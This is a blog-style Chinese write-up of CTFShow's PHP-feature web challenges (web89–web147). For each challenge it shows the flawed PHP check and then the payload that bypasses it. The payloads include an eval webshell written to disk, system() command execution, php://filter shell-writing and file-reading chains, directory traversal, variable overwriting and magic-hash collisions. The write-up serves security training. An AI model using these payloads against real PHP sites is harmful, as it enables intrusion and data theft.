CTFShow PHP特性

##开始PHP特性

web89

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。
可以通过数组的方式通过
num[]=1

web90

if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
num=010574	8进制
num=0x117c	16进制

web91

if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
意思大概是先要多行匹配有没有php开头和结尾的
然后单行匹配不能是php开头结尾的

在这里插入图片描述

可以用 %0a 截断,意思其实就是换行
cmd=abc%0aphp

web92~93

同  web90

web94~95

if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
strpos查找字符串中第一次出现的位置:
strpos() 函数对大小写敏感。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
strpos函数限制了传参第一位不能为0,如果为0,就die
但如果没有找到又会die
根据弱类型,可以用空格隔开,或者小数
num= 010574
num=4476.0
num=+010574

web96

if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
不能直接查看flag.php
可以构造路径查看
u=/var/www/html/flag.php
u=./flag.php

web97

if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
简单地方法就是直接数组让MD5报错,这样就相等了
a[]=1&b[]=2
还有就是MD5强碰撞
[MD5强碰撞](https://www.cnblogs.com/kuaile1314/p/11968108.html)

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)
三元运算:条件表达式?表达式1:表达式2
第一个说只要有GET传参就指向POST,所以随便传个啥都行
GET 1=flag
POST HTTP_FLAG=flag

web99

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
首先是随机数填充数组,但是可以猜测一定有数字1 
in_array() 搜索数组中是否有指定的字符串
因为没有设置第三个参数,所以1.php会被构造成1
file_put_contents($_GET['n'], $_POST['content']);
如果存在就将POST传入的数据写入到GET中,因此可以考虑写入一句话马
GET:n=1.php 
POST:content=<?php  @eval($_POST['360']);?>

web100

//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
首先知道 = 的优先级是高于and的,所以只需要v1是数字就true
很简单,只需要v3有分号(;)就行,这里直接打印出ctfshow
v1=1&v2=var_dump($ctfshow)&v3=;
还有一种就是反射类new ReflectionClass同样可以
v1=1&v2=echo new ReflectionClass&v3=;

web101

if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
同上,就是多了一些过滤,反射类一样可以

web102

$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
is_numeric 函数是又漏洞的,再 php5 版本下是可以识别十六进制的。
也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)
也是可以识别为数字的。
问题是这个是PHP7的环境,现在要找什么代码base编码后再16进制会全是数字
$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出   5044383959474e6864434171594473
v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin
hex2bin 将v2的16进制转化ASCII,然后PHP伪协议base解码写入文件

web103

if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
和上一关一样        

web104

  $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
sha1() 函数计算字符串的 SHA-1 散列。
确实可以在利用数组让他报错
GET:v2[]=1	POST:v1[]=1
当然也可以直接传相同的值,因为这里没有对值进行判断

web105

foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
GET 传值进来作为数组,键名不能是error,值就会给键名
POST传值进来的值不能是flag,然后值作为键名
最终判断要键名和值都是flag
GET:suces=flag	POST:error=suces

web106

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
加了个v1不等v2的条件,同样可以数组报错拿flag
也可以sha1() 弱比较,给出下面几个
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

web107

$v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
在本地测试了一下,也可以用数组的方式报错把 v2 的值带出来
当然这道题是MD5的弱比较,给出一些弱比较原值和MD5
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

web108

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
ereg()	正则匹配,但是存在%00截断漏洞,可以通过截断来绕过
strrev()	字符串反向输出
c=a%00778

web109

$v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
echo new $v1($v2()),看到这种格式第一时间就想到了反射类,
v1=ReflectionClass&v2=system('cat *')

web110

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
过滤了好多东西啊,学到了一个新的技巧,就是FilesystemIterator类的使用(作用就是获取当前目录下的文件)
v1=FilesystemIterator&v2=getcwd
最后访问fl36dga.txt 就行了

web111

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
大概意思就是 v1 要等于 ctfshow ,
然后通过方法 getFlag ,使 v1 指向 v2 
所以这里可以用变量覆盖的方法去使 v2 全局变量
v1=ctfshow&v2=GLOBALS

web112

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
is_file() 检查是否是正常的文件,如果不是正常的文件就调用filter() 方法去检查过滤,
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

与上一题相比多过滤了 filter ,导致不能使用 php://filter/,
但是可以使用压缩过滤器绕过 compress.zlib://flag.php
还有一种方法就是通过 require_once 绕过
linux下  /proc/self指向当前进程的/proc/pid//proc/self/root/ 是指向更目录的符号链接,多级符号链接的办法进行绕过
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

require_once 绕过

web114

这题是过滤了 compress , 可以使用 php://filter/resource=flag.php

web115

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
代码审计很简单,就是num是36,但并不是简单的拼接成36
做个测试
<?php
for($i=0;$i<128;$i++){
    $num=chr($i).'36';
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
        if($num=='36'){
            echo urlencode(chr($i))."<hr />";
        }
    }
}
?>
输出值是 %0C ,%2B ,其中%2B就是+,会被替换成 1
num=%0C36

web123

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
$_SERVER['argv']	当前传递给PHP程序的参数
$a[0]=$_SERVER['argv'][0];
当我们传值 ?$fl0g=flag_give_me; (一定要加上分号;)然后此时$a[0]="$fl0g=flag_give_me;"	并不是直接GET fl0g,
在使用eval($a[0]),来执行"$fl0g=flag_give_me;",达到赋值的目的
最后 eval("$c".";")
另一个问题就是PHP的命名只能由字母数字下划线组成,经过测试可以这样写CTF[SHOW.COM
GET: ?$fl0g=flag_give_me;
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])

web125

用上面的方法也可以
当然也可以利用eval直接打印出flag.php 
GET ?a=flag.php
POST CTF_SHOW=1&CTF[SHOW.COM=2&fun=highlight_file($_GET[a])

web126

同上
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
GET:?$fl0g=flag_give_me;
POST:CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])

web127

include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
if($ctf_show==='ilove36d'){
    echo $flag;
代码的意思就是 GET传入值,然后 extract() 将传入的值写到变量
最后变量ctf_show=’ilove36d‘ 就行,但是_被检测不能用
[ . + 都被过滤,只有空格还能用替换
?ctf show=ilove36d

web128

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
gettext拓展的使用原理
假如你的没有国际化的程序里有这样的代码,echo "你好";,而国际化的程序你要写成 echo gettext("你好");,然后再在配置文件里添加“你好”相对应的英文“Hi”。
这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。也就是说,最终显示什么是根据你的配置文件而定的,如果找不到配置文件,才会输出程序里面的内容。
<?php
echo gettext("phpinfo");
结果  phpinfo
echo _("phpinfo");
结果 phpinfo
_ 是 gettext 的简写
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
?f1=_&f2=get_defined_vars 

web129

if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
目录穿越
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

web130

include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
f=ctfshow 就行了
正则匹配
. - 除换行符以外的所有字符。
^ - 字符串开头。
$ - 字符串结尾。
\d,\w,\s - 匹配数字、字符、空格。
\D,\W,\S - 匹配非数字、非字符、非空格。
[abc] - 匹配 a、b 或 c 中的一个字母。
[a-z] - 匹配 a 到 z 中的一个字母。
[^abc] - 匹配除了 a、b 或 c 中的其他字母。
aa|bb - 匹配 aa 或 bb。
? - 0 次或 1 次匹配。
* - 匹配 0 次或多次。
+ - 匹配 1 次或多次。

web131

if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
根据提示very very very(省略25万个very)ctfshow
写个脚本
import requests
url = "http://bb9e08da-be95-4598-bbcb-7bcb01116196.challenge.ctf.show:8080/"
param = "very" * 250000 + "36Dctfshow"
data = {
    'f': param,
}
reponse = requests.post(url=url, data=data).text
print(reponse)

正则最大回溯次数绕过

web132

打开题目就一个blog,都是一些点不开的栏目,没有思路就用御剑去扫了一下,发现了有一个/admin/,进去就是真正的题目
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        if($code == 'admin'){
            echo $flag;
首先是 &&|| 的优先级,&& > || 
所以可以false && false || true 来绕过 if
然后 code = admin 
?username=admin&code=admin&password=1

web134

$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
考察的PHP变量覆盖
?_POST[key1]=36d&_POST[key2]=36d

web135


web147

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}
首先过滤ctfshow 不能是字母数字下划线

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,
调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

create_function('$a','return 111')
等价于
function a($a){
    return 111;
}

create_function('$a','return 111;}phpinfo();//')
等价于
function a($a){
    return 111;}phpinfo();//
}

总结payload,%5c 是\ 
?show=echo 123;}system('tac fla* ');//
ctf=%5ccreate_function
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值